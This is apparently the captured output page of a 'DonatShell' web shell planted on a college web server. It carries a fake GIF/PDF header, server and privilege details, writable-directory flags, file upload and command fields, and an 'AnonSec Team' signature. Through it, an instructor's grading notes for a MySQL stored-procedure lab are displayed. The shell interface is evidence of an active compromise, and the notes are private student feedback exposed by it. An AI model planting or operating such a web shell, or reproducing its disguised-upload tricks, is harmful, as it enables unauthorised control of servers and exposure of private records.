GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/JimMartinson/Classes/CST1602/Labs/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ HOME SHELL ]     

Current File : C:/nginx/html/JimMartinson/Classes/CST1602/Labs/Lab04_Grade_notes.txt
Lab 4 - Simple Procedure

USE classicmodels;
DROP procedure IF EXISTS classicmodels.GetAllProducts;

DELIMITER //
CREATE PROCEDURE classicmodels.GetAllProducts()
	BEGIN
		SELECT *  FROM classicmodels.products;
	END //
DELIMITER ;

-1 Work submitted incorrectly.
   Your `Lab01` folder was misnamed `CST1602-StudentName-Lab01`.
   Your submission was in a folder named `CST1602-StudentName-Lab01` that then had a `Lab01` folder in it.
   Points will be deducted in future for this.
-1 Work submitted incorrectly.
   Your StudentName-Lab03-GetAllProducts.sql file was not in the `Lab01` folder.
   It was in the root of your zip file.

-0 Line 5 is not needed. For two reasons.
   1) You have a USE statement on line 1 that is still in force.
   2) You use the syntax database_name.procedure_name syntax on line 6.

-0 Line 4 is not needed.
   You do not need to select all products here.
   This should just be the sql to create the GetAllProducts procedure.

-4 Your GetAllProducts() procedure is not a duplicate of the tutorial.
   The SELECT statement does not get all fields from the products table. Instead it causes error 1054.
 
-3 Your script did not ensure that the procedure is removed if it exists as required by step 2.2.
-3 Your script did not ensure that the procedure was created for the classicmodels database as required by step 2.3.1.
   You should include the database name in the CREATE PROCEDURE clause.
+3 I have decided that the `USE classicmodels;` statement ensures this and have given you back these points.
-3 Your procedure does not ensure that the data is retrieved from the classicmodels database as required by step 2.3.2.
   You should include the database name in the FROM clause.
   I know that MySQL 8 does use the database the procedure is in by default, but that was not always the case.
   It is also possible that to create the procedure in another database. Then it would not retrieve data from classicmodels.
=e
-1 Your @HasBalanceDue says not instead of No.
-3 Your StudentName-Lab03-a.png screenshot does not show the GetAllProducts() procedure as required.
-3 Your StudentName-Lab03-GetAllProducts.sql file is not just the GetAllProducts() procedure as required.
   While Your second screenshot shows the correct output, your procedure does not have the correct SQL in it.
=e

Anon7 - 2022
AnonSec Team